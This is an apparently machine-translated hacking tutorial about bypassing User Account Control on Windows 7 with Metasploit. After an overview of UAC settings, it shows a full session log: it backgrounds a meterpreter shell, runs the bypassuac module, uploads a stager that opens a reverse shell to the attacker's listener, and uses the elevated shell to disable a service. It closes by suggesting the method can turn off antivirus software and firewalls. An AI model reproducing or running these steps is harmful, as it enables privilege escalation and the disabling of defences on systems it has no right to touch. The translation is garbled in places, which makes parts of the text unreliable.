Metasploit Bypass windows 7 UAC

UAC in Windows 7
　


Significance of UAC
Action to be authorized
Try to close a service
Bypassuac
Conclusion
UAC in Windows 7
UAC (User Account Control) is the first security feature to appear in Vista. It is designed to reduce the chances of PC being compromised by malware. However, the pop-up warning window is too frequent, disrupting the normal user experience and causing user dislike. At that time, it was regarded as "junk ". However, in Windows 7, Microsoft did not abandon UAC, but redesigned it to make it more suitable for users.
Compared with Vista's UAC, there are only two function settings: "enable" and "Disable". Microsoft adds four levels of settings to Windows 7's UAC.
The highest level is "always notify me ", that is to say, the user will report to the system administrator whether to install the application software or upgrade the application software, change the operating system and modify the Windows Settings without the user's knowledge or knowledge, at the same time, the screen will be locked and the brightness will be reduced. The second level is to notify the system administrator only when the application tries to change the computer. This level is the default control level of the operating system. The main difference between him and the first level is that the system administrator is not notified when the user actively changes the Windows Settings. At this level, even if a malicious program is running on the operating system, it will not have much negative impact on the operating system. Because malicious programs cannot modify system configurations without the knowledge of the system administrator, such as changing the registry, changing the default page of IE browser, and changing the Service Startup list.
The third level is to notify the system administrator only when the application tries to change the computer. The other settings are basically the same as the second level. The difference is that the screen brightness is not reduced or the screen is not locked.
By the fourth level, UAC is disabled without notice.
 
 
Significance of UAC
When UAC is born, almost all processes and running programs in the pc can be intercepted, especially for programs that attempt to automatically install or run with administrator privileges.
Windows Vista also brings many other security features. An upgraded version of Windows Firewall allows you to manage outbound and inbound connections. In the past, Windows Firewall could only manage inbound connections, which means it may become a member of DDoS attackers who attack other computers without knowing it. In addition, Windows Defender provides free protection against common malware.
At the same time, automatic updates should also be included in the security portfolio. Although it is not like the security programs mentioned above, it is still an essential part of system security. Every month, Microsoft uses Windows Update to fix vulnerabilities discovered by itself or other research institutions on a regular basis.
If you want to confront the virus on a machine without anti-virus software installed, almost all the burdens will fall on UAC. Machines without anti-virus software or UAC can be easily cracked by viruses.
 
Viruses can be infected by email (if the user is running an attachment containing viruses) or other programs. One very effective way is that criminals implant viruses after cracking commercial software (such as "warez") and then use websites, FTP, BT networks, and instant messaging software, even IRC can spread widely. If anti-virus software is not installed to scan the software from such sources, even infected users cannot find it.
Even worse, viruses usually generate various types of variants very quickly. Most anti-virus software uses signatures to identify viruses, therefore, if the Virus Variant Code does not match the definition of the anti-virus software, it can also be infected with a "protected" computer.
 
Action to be authorized
UAC requires authorization for the following actions:
 
* Configure Windows Update
* Add or delete user accounts
* Changing the Account type
* Change UAC settings
* Install ActiveX
* Install or Uninstall a program
* Install the device driver.
* Set parental control
* Move or copy Files to the Program Files or Windows Directory
* View folders of other users
Basically, as long as there is a root directory (such as C: \) involved in accessing the system disk, accessing the Windows directory, Windows directory, and Program Files directory, access to Windows security information and access to programs that read and write the system's login database (Registry) must pass UAC authentication.
Therefore, during penetration, we need to disable
 
Try to close a service
First, we get a SHELL for Windows 7. If I want to disable the Themes Service in Windows 7
First, check the information.
 
 
Meterpreter> shell
Process 2332 created.
Channel 1 created.
Microsoft Windows [Fen 6.1.7601]
Fig (c) 2009 Microsoft Corporation fig
 
C: \ Users \ brk \ Desktop> SC query themes
SC query themes
 
SERVICE_NAME: themes
TYPE: 20 win32_0000_process
STATE: 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE: 0 (0x0)
SERVICE_EXIT_CODE: 0 (0x0)
CHECKPOINT: 0x0
WAIT_HINT: 0x0
 
C: \ Users \ brk \ Desktop>
Started. We tried to disable it:
 
 
C: \ Users \ brk \ Desktop>
 
 
C: \ Users \ brk \ Desktop> SC config themes start = disabled
SC config themes start = disabled
[SC] OpenService Release 5:
 
��������
 
C: \ Users \ brk \ Desktop>
Go to Windows to check the garbled code:
 
Access is denied.

 
Bypassuac
For example, in the title, we need to bypass Uac and post/windows/escalate/bypassuac module.
Run him:

 
Well? SHELL not obtained? Quit an existing session and run it.
 
 
Meterpreter> background
[*] Backgrounding session 2...
Msf exploit (handler)> use post/windows/escalate/bypassuac
Msf post (bypassuac)> set SESSION 2
SESSION => 2
Msf post (bypassuac)> show options
 
Module options (post/windows/escalate/bypassuac ):
 
Name Current Setting Required Description
--------------------------------------
LHOST 5.5.5.1 no Listener IP address for the new session
The LPORT 1423 no Listener port for the new session
SESSION 2 yes The session to run this module on.
 
Msf post (bypassuac)> exploit
 
[*] Started reverse handler on 5.5.5.1: 1423
[*] Starting the payload handler...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded ..
[*] Uploaded the agent to the filesystem ....
[*] Post module execution completed
Msf post (bypassuac)> sessions
[*] Sending stage (752128 bytes) to 5.5.5.8
[*] Meterpreter session 3 opened (5.5.5.1: 1423-> 5.5.5.8: 49165) at 02:36:40 + 0800
[*] Session ID 3 (5.5.5.1: 1423-> 5.5.5.8: 49165) processing InitialAutoRunScript 'migrate-F'
[*] Current server process: HVRfyaIf.exe (168)
[*] Spawning notepad.exe process to migrate
[+] Migrating to 3312
[+] Successfully migrated to process
You have obtained:
 
 
 
 
Msf post (bypassuac)> sessions
 
Active sessions
====================
 
Id Type Information Connection
---------------------------
2 meterpreter x86/win32 Dis9Team \ brk @ DIS9TEAM 5.5.5.1: 4444-> 5.5.5.8: 49162 (5.5.5.8)
3 meterpreter x86/win32 Dis9Team \ brk @ DIS9TEAM 5.5.5.1: 1423-> 5.5.5.8: 49165 (5.5.5.8)
 
Msf post (bypassuac)>
Can I try to bypass it?
Get SHELL:
Meterpreter> execute-f cmd.exe-c-H
Process 3528 created.
Channel 1 created.
Meterpreter> interact 1
Interacting with channel 1...
 
Microsoft Windows [Fen 6.1.7601]
Fig (c) 2009 Microsoft Corporation fig
 
C: \ Windows \ System32>
Disable the template service:
 
 
 
 
C: \ Windows \ System32> SC config themes start = disabled
SC config themes start = disabled
[SC] ChangeServiceConfig ��
 
C: \ Windows \ System32>
It's still garbled, but I think it's already closed.
 
Conclusion
You can use this method to disable some anti-virus software firewalls ~

From brk.dis9.com